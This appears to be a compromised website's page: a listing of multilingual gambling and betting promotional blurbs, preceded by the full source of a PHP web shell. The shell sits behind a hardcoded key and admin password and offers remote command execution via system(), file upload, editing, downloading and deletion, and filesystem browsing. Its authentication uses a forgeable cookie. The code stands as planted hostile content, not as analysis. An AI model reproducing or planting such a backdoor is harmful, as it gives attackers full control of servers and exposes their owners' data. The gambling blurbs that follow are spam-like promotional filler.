if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } 1 – Page 5 – collectives.berlin

Your digital paradise.

Category: 1

  • Caso de éxito Cómo Roobet Casino utilizó Bitcoin para revolucionar el juego online

    Contexto y situación inicial de Roobet Casino Roobet Casino fue fundado en 2019 con un enfoque claro en las criptomonedas. Esta decisión no fue casual, ya que la industria del juego estaba experimentando un crecimiento significativo en el uso de Bitcoin y otras criptomonedas. Muchos casinos online tradicionales enfrentaban desafíos considerables, como la competencia feroz…

    Click or not…

  • Step-by-Step Guide to Master Plinko Casino Games

    Why Play Plinko Casino Games? Plinko casino games have garnered attention for their dynamic blend of chance and thrill. Players enjoy the unpredictability that comes with dropping chips on a pegs-laden board, watching the chips bounce and zigzag until they land in a slot that determines their prize. This appeal to randomness encapsulates the excitement…

    Click or not…

  • Insights on the 4rabet Official Website A Dynamic Update

    Key Features of the 4rabet Official Website The 4rabet official website impresses users with its intuitive design, promoting easy navigation for both new and seasoned players. This user-friendly interface is complemented by a comprehensive range of sports and eSports betting options, ensuring that users have plenty of wagering choices. New users are particularly attracted by…

    Click or not…

  • Case Study The Rise of BateryBet India in Online Betting

    Context and Initial Situation In 2023, the Indian online betting market was a rapidly evolving landscape, characterized by a burgeoning interest from users and increasing competition among platforms. BateryBet India entered this arena amid a flurry of activity, facing numerous challenges as a newcomer. Regulatory hurdles, for instance, loomed large, as the legal landscape for…

    Click or not…

  • Top 5 Strategies for Battery Betting in India A Quick Guide

    Understanding Battery Betting Battery betting, a niche yet emerging trend in India, involves placing wagers on the performance and longevity of various battery types, from electric vehicles to consumer electronics. As the demand for batteries grows, particularly with the rise of electric vehicles, this betting form has gained traction, attracting both casual and serious bettors.…

    Click or not…

  • Comparativa de Casinos Online en Chile ¿Cuál es el Mejor

    ¿Por qué es importante comparar casinos online en Chile? Comparar casinos online en Chile es fundamental para los jugadores que buscan la mejor experiencia de juego posible. La variedad de plataformas, como Casino Betsson, Casino Enjoy y Casino888, ofrece distintas características y beneficios. Al analizar cada opción, puedes identificar la mejor según tus necesidades de…

    Click or not…

  • Top 5 Insights for a Smooth Battery Bet Login in India

    1. Understanding the Battery Bet Platform Battery Bet has carved a niche as one of the leading online betting sites in India. The platform offers diverse betting options, including popular sports and various exciting casino games. Understanding how Battery Bet operates can significantly enhance your login experience. Knowing where to find features and how to…

    Click or not…

  • Praktisch overzicht van handicapweddenschappen: typische gebruikersfouten en manieren om ze te vermijden

    Handicapweddenschappen zijn een populaire vorm van weddenschappen in de wereld van sportweddenschappen. Ze bieden spelers de mogelijkheid om te wedden op wedstrijden waarbij een van de teams een virtuele voorsprong of achterstand krijgt. Hoewel handicapweddenschappen veel voordelen kunnen bieden, zijn er ook enkele typische gebruikersfouten die spelers kunnen maken. In deze uitgebreide gids zullen we…

    Click or not…

  • Comprehensive Review of Amber Game Pros, Cons, and Features

    What is Amber Game and Its Purpose Amber Game presents an intriguing blend of interactive storytelling, where player decisions shape the narrative as significantly as the storyline itself. The primary objective is to navigate through various scenarios, making choices that impact character development and plot progression. This layered approach not only immerses players but also…

    Click or not…

  • Live casino: detaljer der kan påvirke spiloplevelsen

      I dagens moderne verden har online casinoer revolutioneret måden, hvorpå folk kan nyde spil og gambling. En af de mest populære former for online gambling er live casino, hvor spillere kan deltage i spil med rigtige dealere via en live videostreaming. Denne form for spil har vundet enorm popularitet på grund af dens realistiske…

    Click or not…